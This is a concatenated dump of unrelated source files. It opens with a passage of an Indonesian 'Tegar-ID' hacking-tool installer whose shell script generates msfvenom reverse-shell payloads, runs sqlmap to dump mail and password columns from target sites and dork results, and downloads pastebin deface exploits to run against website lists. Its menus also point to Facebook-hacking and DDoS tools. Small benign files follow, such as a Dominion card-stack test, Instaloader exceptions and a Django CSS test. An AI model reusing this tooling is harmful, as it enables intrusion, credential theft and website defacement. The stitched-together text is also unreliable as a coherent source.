] then msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=$a LPORT=$b -o /storage/emulated/0/$a echo $green"Payload Berhasil Dibuat ! silahkan cek payload di memory internal anda" fi if [ $h = 3 ] then msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$a LPORT=$b -o /storage/emulated/0/$c echo $green"Payload Berhasil Dibuat ! silahkan cek payload di memory internal anda" fi fi if [ $j = M ] then echo $red"Pastikan Metasploit sudah terinstall" read -p "Masukan LocalHost elu : " a read -p "Masukan LocalPort elu : " b read -p "Masukan nama payload nya : " c echo "[========Pilih Jenis Os========]" | lolcat echo $blue"(1).armle" echo $blue"(2).ppc" echo $blue"(3).x86" echo $blue"(4).x64" echo "[========Pilih Jenis Os========]" | lolcat read -p "Pilih Os : " k if [ $k = 1 ] then msfvenom -p osx/armle/shell_reverse_tcp LHOST=$a LPORT=$b -o /storage/emulated/0/$c echo $green"Payload Berhasil Dibuat ! silahkan cek payload di memory internal anda" fi if [ $k = 2 ] then msfvenom -p osx/ppc/shell_reverse_tcp LHOST=$a LPORT=$b -o /storage/emulated/o/$c echo $green"Payload Berhasil Dibuat ! silahkan cek payload di memory internal anda" fi if [ $k = 3 ] then msfvenom -p osx/x86/shell_reverse_tco LHOST=$a LPORT=$b -o /storage/emulated/0/$c echo $green"Payload Berhasil Dibuat ! silahkan cek payload di memory internal anda" fi if [ $k = 4 ] then msfvenom -p osx/x64/shell_reverse_tcp LHOST=$a LPORT=$b -o /storage/emulated/o/$c echo $green"Payload Berhasil Dibuat ! silahkan cek payload di memory internal anda" fi fi if [ $j = SQ ] then pkg install figlet -y figlet Installing pkg install git -y pkg install python2 -y git clone https://github.com/sqlmapproject/sqlmap pip2 install termcolor cd sqlmap read -p "Masukan Hostname/linkweb : " r python2 sqlmap.py -u $r --batch --dbs --tamper=space2comment --level=2 --risk=2 --flush-session --time-sec 10 --search -C mail,password --smart -o "Done" echo "Dump Selesai silahkan lihat hasil di folder Done" ls fi if [ $j = SQ1 ] then pkg instalk figlet -y figlet Installing pkg install git -y pkg install python2 -y git clone https://github.com/sqlmapproject/sqlmap cd sqlmap read -p "Masukan Dork nya : " d python2 sqlmap.py -g $d --batch --dbs --tamper=space2comment --level=2 --risk=2 --smart --flush-session --time-sec 15 --search -C mail,password -o Done echo $red"Dump Selesai silahkan lihat hasil di folder Done" fi if [ $j = D ] then pkg install figlet -y figlet Installing pkg install wget -y pkg install php -y read -p "Masukan list Website nya contoh (bacot.txt) : " g read -p "Masukan Nama script deface (harus berektensi .htm bukan .html)" h wget https://pastebin.com/raw/LDvFvtUD -O com_fabrik.php phhp com_fabrik.php $g $h fi if [ $j = D1 ] then pkg install figlet -y figlet Installing pkg install wget -y pkg install php -y read -p "Masukan list website nya contoh (bacot.txt) : " k read -p "Masukan Nama script deface (harus berektensi .htm bukan .html)" t wget https://pastebin.com/raw/EAtSir5V -O com_foxcontact.php php com_foxcontact.php $k $t fi if [ $j = N ] then pkg install figlet -y figlet Installing pkg install nmap -y read -p "Masukan Hostname website nya : " l nmap -sV --script=http-sql-injection.nse $l -p 80 echo $green"Scan website selesai" fi if [ $j = N1 ] then pkg install figlet -y figlet Installing pkg install nmap -y read -p "Masukan Hostname website nya : " g nmap -sV --script=dns-brute.nse $g -p 80 echo $green"Scan Website selesai" fi if [ $j = X ] then echo $white"Terimakasih Telah Memakai tools ini :)" sleep 1 echo $red"Jangan Di recode ya bujang" sleep 1 echo $red"Capek gua bikin nya" sleep 1 toilet -f future Bye --gay exit fi """) f.close() print W+"Please wait a few minutes "+Y+". . ." tik3() print W+"["+G+"✔"+W+"] "+G+"Success!!" print " " print "Saved in internal tools with name "+Y+"Xsploit.sh" pilih = raw_input("[Press Enter To Back Menu]") if pilih == "": banner3() else: banner3() else : tik() print "Pilihan Tidak Ada" time.sleep(2) banner4() def banner5(): os.system("clear") print W+" " print W+" ╔═══════════╗" print W+" ╔═╝███████████╚═╗ "+B+"╔══╗╔═╗╔══╗╔══╗╔═╗ "+R+"╔══╗╔══╗" print W+" ╔╝███████████████╚╗ "+B+"╚╗╔╝║╦╝║╔═╣║╔╗║║╬║ "+R+"╚║║╝╚╗╗║" print W+" ║█████████████████║ "+B+"─║║─║╩╗║╚╗║║╠╣║║╗╣ "+R+"╔║║╗╔╩╝║" print W+" ║█████████████████║ "+B+"─╚╝─╚═╝╚══╝╚╝╚╝╚╩╝ "+R+"╚══╝╚══╝" print W+" ║█████████████████║" print W+" ║█╔█████████████╗█║ "+R+"[ "+Y+"Menu Pilihan "+R+"]" print W+" ╚╦╝███▒▒███▒▒███╚╦╝" print W+" ╔╝██▒▒▒▒███▒▒▒▒██╚╗ ["+G+"1"+W+"] Edit Tools HackFb" print W+" ║██▒▒▒▒▒███▒▒▒▒▒██║ ["+G+"2"+W+"] Edit Tools Installer DarkFb" print W+" ║██▒▒▒▒█████▒▒▒▒██║ ["+G+"3"+W+"] Edit Tools Ddos" print W+" ╚╗███████████████╔╝ ["+G+"4"+W+"] Edit Tools Xsploit Installer" print W+" ╔═╬══╦╝██▒█▒██╚╦══╝ ["+R+"0"+W+"] Exit To Menu" print W+" ║█║══║█████████║" print W+" ║█║══║█║██║██║█║ "+G+"v0.1" print W+" ║█║══╚═╩══╩╦═╩═╩═╦╗" print W+" ╔╝█╚══╦═╦══╦╩═╦═╦═╩╝" print W+"╔╝█████║█║██║██║█║" print W+"║██████║█████████║" print " " pilih = raw_input(Y+"["+R+"root"+Y+"/"+B+"Tegar-ID"+Y+"]"+R+"> ") if pilih == "0": tik() banner3() elif pilih == "1": tik() os.system("nano HackFb.py") banner5() elif pilih == "2": tik() os.system("nano installer.py") banner5() elif pilih == "3": tik() os.system("nano Ddos.py") banner5() elif pilih == "4": tik() os.system("nano Xsploit.sh") banner5() else : tik() print "Pilihan Tidak Ada" time.sleep(2) banner5() def banner6(): os.system("clear") print W+" " print W+" ╔═══════════╗" print W+" ╔═╝███████████╚═╗ "+B+"╔══╗╔═╗╔══╗╔══╗╔═╗ "+R+"╔══╗╔══╗" print W+" ╔╝███████████████╚╗ "+B+"╚╗╔╝║╦╝║╔═╣║╔╗║║╬║ "+R+"╚║║╝╚╗╗║" print W+" ║█████████████████║ "+B+"─║║─║╩╗║╚╗║║╠╣║║╗╣ "+R+"╔║║╗╔╩╝║" print W+" ║█████████████████║ "+B+"─╚╝─╚═╝╚══╝╚╝╚╝╚╩╝ "+R+"╚══╝╚══╝" print W+" ║█████████████████║" print W+" ║█╔█████████████╗█║ "+R+"[ "+Y+"Menu Pilihan "+R+"]" print W+" ╚╦╝███▒▒███▒▒███╚╦╝" print W+" ╔╝██▒▒▒▒███▒▒▒▒██╚╗ ["+G+"1"+W+"] Remove Tools HackFb" print W+" ║██▒▒▒▒▒███▒▒▒▒▒██║ ["+G+"2"+W+"] Remove Tools Installer DarkFb" print W+" ║██▒▒▒▒█████▒▒▒▒██║ ["+G+"3"+W+"] Remove Tools Ddos" print W+" ╚╗███████████████╔╝ ["+G+"4"+W+"] Remove Tools Xsploit Installer" print W+" ╔═╬══╦╝██▒█▒██╚╦══╝ ["+R+"0"+W+"] Exit To Menu" print W+" ║█║══║█████████║" print W+" ║█║══║█║██║██║█║ "+G+"v0.1" print W+" ║█║══╚═╩══╩╦═╩═╩═╦╗" print W+" ╔╝█╚══╦═╦══╦╩═╦═╦═╩╝" print W+"╔╝█████║█║██║██║█║" print W+"║██████║█████████║" print " " pilih = raw_input(Y+"["+R+"root"+Y+"/"+B+"Tegar-ID"+Y+"]"+R+"> ") if pilih == "0": tik() banner3() elif pilih == "1": os.system("rm -rf HackFb.py") print W+"Proses Remove Tool" tik() print W+"["+G+"✔"+W+"] "+G+"Done!!" time.sleep(2) banner6() elif pilih == "2": os.system("rm -rf installer.py") print W+"Proses Remove Tool" tik() print W+"["+G+"✔"+W+"] "+G+"Done!!" time.sleep(2) banner6() elif pilih == "3": os.system("rm -rf Ddos.py") print W+"Proses Remove Tool" tik() print W+"["+G+"✔"+W+"] "+G+"Done!!" time.sleep(2) banner6() elif pilih == "4": os.system("rm -rf Xsploit.sh") print W+"Proses Remove Tool" tik() print W+"["+G+"✔"+W+"] "+G+"Done!!" time.sleep(2) banner6() else : tik() print "Pilihan Tidak Ada" time.sleep(2) banner6() def banner7(): os.system("clear") print W+" " print W+" ╔═══════════╗" print W+" ╔═╝███████████╚═╗ "+B+"╔══╗╔═╗╔══╗╔══╗╔═╗ "+R+"╔══╗╔══╗" print W+" ╔╝███████████████╚╗ "+B+"╚╗╔╝║╦╝║╔═╣║╔╗║║╬║ "+R+"╚║║╝╚╗╗║" print W+" ║█████████████████║ "+B+"─║║─║╩╗║╚╗║║╠╣║║╗╣ "+R+"╔║║╗╔╩╝║" print W+" ║█████████████████║ "+B+"─╚╝─╚═╝╚══╝╚╝╚╝╚╩╝ "+R+"╚══╝╚══╝" print W+" ║█████████████████║" print W+" ║█╔█████████████╗█║ "+R+"[ "+Y+"Menu Pilihan "+R+"]" print W+" ╚╦╝███▒▒███▒▒███╚╦╝" print W+" ╔╝██▒▒▒▒███▒▒▒▒██╚╗ ["+G+"1"+W+"] Move Tools HackFb to "+Y+"/sdcard" print W+" ║██▒▒▒▒▒███▒▒▒▒▒██║ ["+G+"2"+W+"] Move Tools Installer DarkFb to "+Y+"/sdcard" print W+" ║██▒▒▒▒█████▒▒▒▒██║ ["+G+"3"+W+"] Move Tools Ddos to "+Y+"/sdcard" print W+" ╚╗███████████████╔╝ ["+G+"4"+W+"] Move Tools Game to "+Y+"/sdcard" print W+" ╔═╬══╦╝██▒█▒██╚╦══╝ ["+R+"0"+W+"] Exit To Menu" print W+" ║█║══║█████████║" print W+" ║█║══║█║██║██║█║ "+G+"v0.1" print W+" ║█║══╚═╩══╩╦═╩═╩═╦╗" print W+" ╔╝█╚══╦═╦══╦╩═╦═╦═╩╝" print W+"╔╝█████║█║██║██║█║" print W+"║██████║█████████║" print " " pilih = raw_input(Y+"["+R+"root"+Y+"/"+B+"Tegar-ID"+Y+"]"+R+"> ") if pilih == "0": tik() banner3() elif pilih == "1": os.system("mv HackFb.py /sdcard") print W+"Proses Move Tool To "+Y+"/sdcard" tik() print W+"["+G+"✔"+W+"] "+G+"Done!!" time.sleep(2) banner7() elif pilih == "2": os.system("mv installer.py /sdcard") print W+"Proses Move Tool To "+Y+"/sdcard" tik() print W+"["+G+"✔"+W+"] "+G+"Done!!" time.sleep(2) banner7() elif pilih == "3": os.system("mv Ddos.py /sdcard") print W+"Proses Move Tool To "+Y+"/sdcard" tik() print W+"["+G+"✔"+W+"] "+G+"Done!!" time.sleep(2) banner7() elif pilih == "4": os.system("mv Xsploit.sh /sdcard") print W+"Proses Move Tool To "+Y+"/sdcard" tik() print W+"["+G+"✔"+W+"] "+G+"Done!!" time.sleep(2) banner7() else : tik() print "Pilihan Tidak Ada" time.sleep(2) banner7() banner()
33.873922
1,178
0.481183
4,222
31,435
4.216485
0.147797
0.046849
0.012358
0.013145
0.643804
0.60892
0.593248
0.580272
0.552354
0.521739
0
0.042821
0.25338
31,435
927
1,179
33.910464
0.597614
0.01457
0
0.572438
0
0.022379
0.710976
0.070115
0
0
0
0
0
0
null
null
0.020024
0.012956
null
null
0.281508
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
1
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
3
197c27f0790d8f29442b7e852261c745d95e5592
373
py
Python
relretrieval/BREDS/Seed.py
knowledge-retrieval/relretrieval
bb9df83bcc4d96623a4e4309d43d0552207552ad
[ "MIT" ]
null
null
null
relretrieval/BREDS/Seed.py
knowledge-retrieval/relretrieval
bb9df83bcc4d96623a4e4309d43d0552207552ad
[ "MIT" ]
null
null
null
relretrieval/BREDS/Seed.py
knowledge-retrieval/relretrieval
bb9df83bcc4d96623a4e4309d43d0552207552ad
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- __author__ = "David S. Batista" __email__ = "dsbatista@inesc-id.pt" class Seed(object): def __init__(self, _e1, _e2): self.e1 = _e1 self.e2 = _e2 def __hash__(self): return hash(self.e1) ^ hash(self.e2) def __eq__(self, other): return self.e1 == other.e1 and self.e2 == other.e2
21.941176
58
0.597855
54
373
3.685185
0.537037
0.120603
0
0
0
0
0
0
0
0
0
0.046263
0.246649
373
17
58
21.941176
0.661922
0.112601
0
0
0
0
0.112121
0.063636
0
0
0
0
0
1
0.3
false
0
0
0.2
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
198607942cbec91f90a5251a04748bfcd45cf56d
224
py
Python
overrides/__init__.py
brentyi/overrides
59af886a60236a9a71b60c982bf41dfc6419231c
[ "Apache-2.0" ]
197
2015-05-23T13:51:47.000Z
2022-03-25T07:14:00.000Z
overrides/__init__.py
brentyi/overrides
59af886a60236a9a71b60c982bf41dfc6419231c
[ "Apache-2.0" ]
78
2015-05-25T20:00:22.000Z
2022-03-21T21:50:24.000Z
overrides/__init__.py
brentyi/overrides
59af886a60236a9a71b60c982bf41dfc6419231c
[ "Apache-2.0" ]
33
2015-05-28T14:14:38.000Z
2021-04-29T08:01:45.000Z
from overrides.enforce import EnforceOverrides from overrides.final import final from overrides.overrides import __VERSION__, overrides __all__ = [ "__VERSION__", "overrides", "final", "EnforceOverrides", ]
20.363636
54
0.745536
21
224
7.380952
0.380952
0.251613
0
0
0
0
0
0
0
0
0
0
0.169643
224
10
55
22.4
0.833333
0
0
0
0
0
0.183036
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
5ffe944be9ce9c2094361f774e0e026ae25b9569
339
py
Python
tests/test_css.py
zostera/django-bootstrap
3ccccd1a781afd2c160b97ae3d15f6f715901991
[ "BSD-3-Clause" ]
2
2021-10-05T14:07:16.000Z
2021-10-08T12:56:11.000Z
tests/test_css.py
zostera/django-bootstrap
3ccccd1a781afd2c160b97ae3d15f6f715901991
[ "BSD-3-Clause" ]
84
2021-02-17T06:58:37.000Z
2022-03-31T23:07:27.000Z
tests/test_css.py
zostera/django-bootstrap
3ccccd1a781afd2c160b97ae3d15f6f715901991
[ "BSD-3-Clause" ]
null
null
null
from django.test import TestCase from django_bootstrap.css import merge_css_classes class CssTest(TestCase): """Test CSS functions.""" def test_merge_css_classes(self): self.assertEqual("", merge_css_classes()) self.assertEqual("", merge_css_classes("")) self.assertEqual("", merge_css_classes("", ""))
26.076923
55
0.693215
40
339
5.575
0.375
0.179372
0.336323
0.255605
0.403587
0.403587
0.403587
0.403587
0.403587
0.403587
0
0
0.171091
339
12
56
28.25
0.793594
0.056047
0
0
0
0
0
0
0
0
0
0
0.428571
1
0.142857
false
0
0.285714
0
0.571429
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
3
2706819b1900d5480ea950f6363b998984534291
197
py
Python
hmm/tests/utils.py
ondrejba/hmm
1e9fe47a6057d93e7c77614016a89d5d46959e97
[ "MIT" ]
null
null
null
hmm/tests/utils.py
ondrejba/hmm
1e9fe47a6057d93e7c77614016a89d5d46959e97
[ "MIT" ]
null
null
null
hmm/tests/utils.py
ondrejba/hmm
1e9fe47a6057d93e7c77614016a89d5d46959e97
[ "MIT" ]
null
null
null
def get_tensor_shape(tensor): shape = [] for s in tensor.shape: if s is None: shape.append(s) else: shape.append(s.value) return tuple(shape)
16.416667
33
0.532995
26
197
3.961538
0.576923
0.320388
0.23301
0
0
0
0
0
0
0
0
0
0.370558
197
11
34
17.909091
0.830645
0
0
0
0
0
0
0
0
0
0
0
0
1
0.125
false
0
0
0
0.25
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
271d09b32ad8b7af839f41a8b4f8d9d7157b455b
1,531
py
Python
ambbot/Lib/site-packages/instaloader/exceptions.py
DouglasCarvalhoPereira/bot-instagram
6cb65d22ed4e78e7de4d1800fe462d7577ecf4f6
[ "MIT" ]
4,170
2018-03-13T22:46:38.000Z
2022-03-31T03:06:36.000Z
Lib/site-packages/instaloader/exceptions.py
sauravhathi/InstaPicVid_Downloader
4fbbd3c0d74ce2689404bfa54cf613b409f411a2
[ "MIT" ]
1,372
2018-03-13T15:05:41.000Z
2022-03-31T22:25:09.000Z
Lib/site-packages/instaloader/exceptions.py
sauravhathi/InstaPicVid_Downloader
4fbbd3c0d74ce2689404bfa54cf613b409f411a2
[ "MIT" ]
810
2018-03-13T21:22:05.000Z
2022-03-30T13:36:07.000Z
class InstaloaderException(Exception): """Base exception for this script. :note: This exception should not be raised directly.""" pass class QueryReturnedBadRequestException(InstaloaderException): pass class QueryReturnedForbiddenException(InstaloaderException): pass class ProfileNotExistsException(InstaloaderException): pass class ProfileHasNoPicsException(InstaloaderException): """ .. deprecated:: 4.2.2 Not raised anymore. """ pass class PrivateProfileNotFollowedException(InstaloaderException): pass class LoginRequiredException(InstaloaderException): pass class TwoFactorAuthRequiredException(InstaloaderException): pass class InvalidArgumentException(InstaloaderException): pass class BadResponseException(InstaloaderException): pass class BadCredentialsException(InstaloaderException): pass class ConnectionException(InstaloaderException): pass class PostChangedException(InstaloaderException): """.. versionadded:: 4.2.2""" pass class QueryReturnedNotFoundException(ConnectionException): pass class TooManyRequestsException(ConnectionException): pass class IPhoneSupportDisabledException(InstaloaderException): pass class AbortDownloadException(Exception): """ Exception that is not catched in the error catchers inside the download loop and so aborts the download loop. This exception is not a subclass of ``InstaloaderException``. .. versionadded:: 4.7 """ pass
18.901235
98
0.760941
122
1,531
9.54918
0.42623
0.123605
0.27382
0
0
0
0
0
0
0
0
0.006309
0.171783
1,531
80
99
19.1375
0.912461
0.228609
0
0.5
0
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0.5
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
3
271df98b309b715bc264fe520249627ca1063312
30
py
Python
simulation/__init__.py
tmsquill/grove
afe2d6ff35a2db7d8cb1e3ff7e5a0e3b29f369f7
[ "MIT" ]
1
2016-11-23T16:59:01.000Z
2016-11-23T16:59:01.000Z
simulation/__init__.py
zivia/grove
afe2d6ff35a2db7d8cb1e3ff7e5a0e3b29f369f7
[ "MIT" ]
1
2020-04-26T19:28:42.000Z
2020-04-26T19:28:42.000Z
simulation/__init__.py
zivia/grove
afe2d6ff35a2db7d8cb1e3ff7e5a0e3b29f369f7
[ "MIT" ]
null
null
null
__author__ = 'Troy Squillaci'
15
29
0.766667
3
30
6.333333
1
0
0
0
0
0
0
0
0
0
0
0
0.133333
30
1
30
30
0.730769
0
0
0
0
0
0.466667
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
27267645716a16fcb3c7e2b0f33f2b8205f8891f
10,309
py
Python
tests/card_stack_test.py
the-gigi/dominion
2bccad2e51a574c881372d32819e2e3049d93e78
[ "MIT" ]
2
2020-04-16T03:21:25.000Z
2022-01-15T18:24:08.000Z
tests/card_stack_test.py
the-gigi/dominion
2bccad2e51a574c881372d32819e2e3049d93e78
[ "MIT" ]
36
2020-07-03T04:42:50.000Z
2020-07-05T18:30:57.000Z
tests/card_stack_test.py
the-gigi/dominion
2bccad2e51a574c881372d32819e2e3049d93e78
[ "MIT" ]
null
null
null
import unittest from dominion_game_engine.card_stack import CardStack from dominion_game_engine.cards import * class TestGame(unittest.TestCase): def test_shuffle(self): """For each test case: 1. create card stack 2. call shuffle() multiple times 3. check it was shuffled correctly test cases: empty card stack card stack with just one card card stack with many cards checks: 1. exact same cards in card stack after shuffle 2. multiple shuffles result in different ordering (if more than one card type in stack) :return: """ card_stack = CardStack() for i in range(7): card_stack.shuffle() self.assertEqual(len(card_stack.cards), 0) card_stack = CardStack([Copper()]) before_shuffle = card_stack.as_dict() for i in range(7): card_stack.shuffle() self.assertEqual(card_stack.as_dict(), before_shuffle) card_stack = CardStack([Copper(), Curse(), Silver(), Silver()]) before_dict = card_stack.as_dict() before_cards = card_stack.cards[:] shuffle_worked = False for i in range(7): card_stack.shuffle() self.assertEqual(card_stack.as_dict(), before_dict) if card_stack.cards != before_cards: shuffle_worked = True self.assertTrue(shuffle_worked) def test_pop(self): """ create card stack call pop() check if the correct number of cards were popped test cases: 0 cards in stack ask for 0 ask for more 1 card in stack ask for less than 1 ask for 1 ask for more many cards in stack ask for less ask for the stack ask for more checks: :return: """ # try to pop zero cards from an empty stack card_stack = CardStack() self.assertEqual(len(card_stack.cards), 0) cards = card_stack.pop(0) self.assertEqual(len(cards), 0) # try to pop a card from an empty stack self.assertEqual(len(card_stack.cards), 0) self.assertRaises(RuntimeError, card_stack.pop, 1) # try to pop zero cards from stack with one card card_stack = CardStack([Copper()]) self.assertEqual(len(card_stack.cards), 1) cards = card_stack.pop(0) self.assertEqual(len(cards), 0) self.assertEqual(len(card_stack.cards), 1) # try to pop one card from stack with one card self.assertEqual(len(card_stack.cards), 1) cards = card_stack.pop(1) self.assertEqual(len(cards), 1) self.assertEqual(len(card_stack.cards), 0) self.assertTrue(isinstance(cards[0], Copper)) # try to pop more than one card from a stack with one card card_stack = CardStack([Copper()]) self.assertEqual(len(card_stack.cards), 1) self.assertRaises(RuntimeError, card_stack.pop, 2) # try to pop less than the amount of cards from a stack with many cards card_stack = CardStack([Copper(), Silver(), Gold()]) self.assertEqual(len(card_stack.cards), 3) cards = card_stack.pop(2) self.assertEqual(len(cards), 2) self.assertEqual(len(card_stack.cards), 1) self.assertTrue(isinstance(cards[0], Copper)) self.assertTrue(isinstance(cards[1], Silver)) self.assertTrue(isinstance(card_stack.cards[0], Gold)) # try to pop the same amount of cards from a stack with many cards card_stack = CardStack([Copper(), Silver(), Gold()]) self.assertEqual(len(card_stack.cards), 3) cards = card_stack.pop(3) self.assertEqual(len(cards), 3) self.assertEqual(len(card_stack.cards), 0) self.assertTrue(isinstance(cards[0], Copper)) self.assertTrue(isinstance(cards[1], Silver)) # try to pop more cards from a stack with many cards card_stack = CardStack([Copper(), Silver(), Gold()]) self.assertEqual(len(card_stack.cards), 3) self.assertRaises(RuntimeError, card_stack.pop, 4) self.assertTrue(isinstance(card_stack.cards[0], Copper)) self.assertTrue(isinstance(card_stack.cards[1], Silver)) self.assertTrue(isinstance(card_stack.cards[2], Gold)) def test_add_to_top(self): """ Create card stack Call add_to_top() Check if the cards went to the beginning of the list Test cases: There are zero cards in the stack Add nothing to the top Add one card to the top Add many cards to the top There is one card in the stack Add nothing to the top Add one card to the top Add more than one card to the top There are many cards in the stack Add nothing to the top Add one card to the top Add the same amount of cards to the top Add more than the amount of cards to the top """ # add zero cards to empty stack card_stack = CardStack() card_stack.add_to_top([]) self.assertEqual(card_stack.cards, []) # add one card to empty stack card_stack.add_to_top([Copper()]) self.assertTrue(isinstance(card_stack.cards[0], Copper)) self.assertEqual(len(card_stack.cards), 1) # add many cards to empty stack card_stack = CardStack() card_stack.add_to_top([Copper(), Silver(), Gold()]) self.assertTrue(isinstance(card_stack.cards[0], Copper)) self.assertTrue(isinstance(card_stack.cards[1], Silver)) self.assertTrue(isinstance(card_stack.cards[2], Gold)) self.assertEqual(len(card_stack.cards), 3) # add zero cards to one-card stack copper = Copper() card_stack = CardStack([copper]) card_stack.add_to_top([]) self.assertEqual(card_stack.cards, [copper]) # add one card to one-card stack silver = Silver() card_stack = CardStack([copper]) card_stack.add_to_top([silver]) expected = [silver, copper] self.assertEqual(card_stack.cards, expected) # add many cards to one-card stack curse = Curse() gold = Gold() card_stack = CardStack([copper]) card_stack.add_to_top([curse, silver, gold]) expected = [curse, silver, gold, copper] self.assertEqual(card_stack.cards, expected) # add zero cards to many-card stack card_stack = CardStack([copper, silver, gold]) card_stack.add_to_top([]) expected = [copper, silver, gold] self.assertEqual(card_stack.cards, expected) # add one card to many-card stack card_stack.add_to_top([curse]) expected = [curse, copper, silver, gold] self.assertEqual(card_stack.cards, expected) # add many cards to many-card stack estate = Estate() duchy = Duchy() card_stack = CardStack([copper, silver, gold]) card_stack.add_to_top([curse, estate, duchy]) expected = [curse, estate, duchy, copper, silver, gold] self.assertEqual(card_stack.cards, expected) def test_add_to_bottom(self): """ Create card stack Call add_to_bottom() Check if the cards went to the end of the list Test cases: There are zero cards in the stack Add nothing to the top Add one card to the top Add many cards to the top There is one card in the stack Add nothing to the top Add one card to the top Add more than one card to the top There are many cards in the stack Add nothing to the top Add one card to the top Add the same amount of cards to the top Add more than the amount of cards to the top """ # add zero cards to empty stack card_stack = CardStack() card_stack.add_to_bottom([]) self.assertEqual(card_stack.cards, []) # add one card to empty stack card_stack.add_to_bottom([Copper()]) self.assertTrue(isinstance(card_stack.cards[0], Copper)) self.assertEqual(len(card_stack.cards), 1) # add many cards to empty stack card_stack = CardStack() card_stack.add_to_bottom([Copper(), Silver(), Gold()]) self.assertTrue(isinstance(card_stack.cards[0], Copper)) self.assertTrue(isinstance(card_stack.cards[1], Silver)) self.assertTrue(isinstance(card_stack.cards[2], Gold)) self.assertEqual(len(card_stack.cards), 3) # add zero cards to one-card stack copper = Copper() card_stack = CardStack([copper]) card_stack.add_to_bottom([]) self.assertEqual(card_stack.cards, [copper]) # add one card to one-card stack silver = Silver() card_stack = CardStack([copper]) card_stack.add_to_bottom([silver]) expected = [copper, silver] self.assertEqual(card_stack.cards, expected) # add many cards to one-card stack curse = Curse() gold = Gold() card_stack = CardStack([copper]) card_stack.add_to_bottom([curse, silver, gold]) expected = [copper, curse, silver, gold] self.assertEqual(card_stack.cards, expected) # add zero cards to many-card stack card_stack = CardStack([copper, silver, gold]) card_stack.add_to_bottom([]) expected = [copper, silver, gold] self.assertEqual(card_stack.cards, expected) # add one card to many-card stack card_stack.add_to_bottom([curse]) expected = [copper, silver, gold, curse] self.assertEqual(card_stack.cards, expected) # add many cards to many-card stack estate = Estate() duchy = Duchy() card_stack = CardStack([copper, silver, gold]) card_stack.add_to_bottom([curse, estate, duchy]) expected = [copper, silver, gold, curse, estate, duchy] self.assertEqual(card_stack.cards, expected) if __name__ == '__main__': unittest.main()
35.795139
95
0.61199
1,348
10,309
4.550445
0.077151
0.179002
0.102706
0.041082
0.7985
0.762471
0.723508
0.692696
0.678676
0.659276
0
0.00827
0.296246
10,309
287
96
35.919861
0.837216
0.261034
0
0.66443
0
0
0.001137
0
0
0
0
0
0.395973
1
0.026846
false
0
0.020134
0
0.053691
0
0
0
0
null
0
0
0
0
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
2750b39679739a76c34d2d57d4f326d1897194a8
217
py
Python
hutch_python/tests/experiments/x010.py
klauer/hutch-python
0bfc618c2af9ac69d74f6ad9f92e28c1290aefc0
[ "BSD-3-Clause-LBNL" ]
null
null
null
hutch_python/tests/experiments/x010.py
klauer/hutch-python
0bfc618c2af9ac69d74f6ad9f92e28c1290aefc0
[ "BSD-3-Clause-LBNL" ]
282
2017-12-08T19:55:40.000Z
2022-03-31T22:56:46.000Z
hutch_python/tests/experiments/x010.py
klauer/hutch-python
0bfc618c2af9ac69d74f6ad9f92e28c1290aefc0
[ "BSD-3-Clause-LBNL" ]
11
2018-01-12T21:57:02.000Z
2020-11-26T00:29:34.000Z
from tst.db import calc_thing, tst_device_1, tst_device_2 from tst.beamline import unique_device class User: some_device = unique_device function = calc_thing tst1 = tst_device_1 tst2 = tst_device_2
21.7
57
0.764977
35
217
4.371429
0.485714
0.235294
0.130719
0
0
0
0
0
0
0
0
0.034286
0.193548
217
9
58
24.111111
0.84
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.285714
0
1
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
275d330dda0e0c5d1c440e62938bb10ba7a6bc7a
278
py
Python
DFS_NBA_Team_Builder/DFS_NBA_Team_Builder/__init__.py
Blex42/DFS_NBA_Team_Builder
626f88287dff05188b0c94b20ff29e1e9bbde166
[ "MIT" ]
10
2019-02-18T18:11:00.000Z
2022-02-11T18:56:51.000Z
DFS_NBA_Team_Builder/DFS_NBA_Team_Builder/__init__.py
Blex42/DFS_NBA_Team_Builder
626f88287dff05188b0c94b20ff29e1e9bbde166
[ "MIT" ]
null
null
null
DFS_NBA_Team_Builder/DFS_NBA_Team_Builder/__init__.py
Blex42/DFS_NBA_Team_Builder
626f88287dff05188b0c94b20ff29e1e9bbde166
[ "MIT" ]
3
2020-01-24T02:08:19.000Z
2021-02-15T04:45:02.000Z
#Data import pandas as pd import numpy as np #Date import datetime as dt #Stats from statistics import mean, median ###Optimizepackage import pulp #Packagefile #from DK_TeamBuilder import DK_TeamBuildermod #from DK_Optimization_Function import teamoptmizer
17.375
50
0.773381
36
278
5.861111
0.666667
0.056872
0
0
0
0
0
0
0
0
0
0
0.190647
278
16
50
17.375
0.937778
0.47482
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
